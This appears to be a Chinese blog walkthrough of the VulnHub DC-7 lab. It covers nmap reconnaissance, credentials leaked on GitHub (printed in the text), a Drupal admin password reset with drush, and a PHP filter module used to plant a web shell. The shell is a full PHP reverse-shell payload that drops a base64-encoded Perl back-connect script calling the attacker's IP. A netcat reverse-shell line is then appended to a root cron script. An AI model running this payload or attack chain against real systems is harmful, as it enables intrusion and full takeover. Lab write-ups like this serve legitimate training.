- 🍬 博主介绍
-
- 👨🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
- ✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
- 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
- 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
- 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
- ┌──(root💀kali)-[/home]
- └─# arp-scan -l
-
- 靶机IP地址:192.168.103.207

- ┌──(root💀kali)-[/home]
- └─# nmap -sS -A -p- 192.168.103.207
发现开放了22、80端口
发现http服务,是由Drupal 8搭建的网站



浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力破解和字典排除在外,需要另外的思路,发现在欢迎页面的左下角有一个“@DC7USER”,应该是接入点
直接在浏览器搜索@DC7USER
然后再在github上面,有一个config.php文件,里面有账号密码信息


- $username = "dc7user"
- $password = "MdR3xOgB7#dW"

1.尝试登录网站,发现账号密码错误

2.尝试ssh连接登录,发现登录成功
- ┌──(root💀kali)-[~/桌面]
- └─# ssh dc7user@192.168.103.207

在mbox下发现了线索,由内容可以知道这是root用户发给dc7user用户的一封邮箱,并且会以root权限定时执行/opt/scripts/backups.sh脚本


由内容得知,只是执行一些命令,drush命令是drupal系统中特定的管理工具。由于脚本执行是root权限,所以只要把反弹shell命令写入该脚本即可得到root权限。可以知道www-data用户即网站用户对该脚本具有写入权限。所以现在需要拿到网站的反弹shell
先要切换到/var/www/html目录下
查阅drush相关命令得知drush user-password 用户名 --password="密码"可以修改密码drupal网站的有默认用户为admin,所以可以更改admin的密码
- dc7user@dc-7:/var/www/html$ drush user-password admin --password="admin"
-
发现登录后台成功
账号密码都是admin

在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入


模块包下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击Install new module,将下载模块包的链接添加上,点击Install


Install后跳转到模块添加成功页面,然后去激活这个模块

选择FILTERS,勾选PHP点击Install安装,安装成功后会有提示


然后来到网站开始的欢迎页面,对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码
- GIF89a
- function which($pr) {
- $path = execute("which $pr");
- return ($path ? $path : $pr);
- }
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if(function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- } elseif(function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif(function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
- $res = '';
- while(!@feof($f)) {
- $res .= @fread($f,1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
- function cf($fname,$text){
- if($fp=@fopen($fname,'w')) {
- @fputs($fp,@base64_decode($text));
- @fclose($fp);
- }
- }
- $yourip = "192.168.103.129";
- $yourport = '4444';
- $usedb = array('perl'=>'perl','c'=>'c');
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
- cf('/tmp/.bc',$back_connect);
- $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
- ?>


- 1.先kali起一个监听:
- ┌──(root💀kali)-[~]
- └─# nc -lvvp 4444
-
- 2.访问开始的web页面,就可以监听成功了
-
- python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell
-

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
www-data@dc-7:/opt/scripts$ cat backups.sh

写入反弹shell代码到backups.sh脚本文件中,并在kali监听4321端口,等待计划任务执行,稍微等待后成功getshell
- www-data@dc-7:/opt/scripts$ echo 'nc -nv 192.168.103.129 1234 -c bash'>>backups.sh
-
- ┌──(root💀kali)-[~]
- └─# nc -nvlp 1234
-

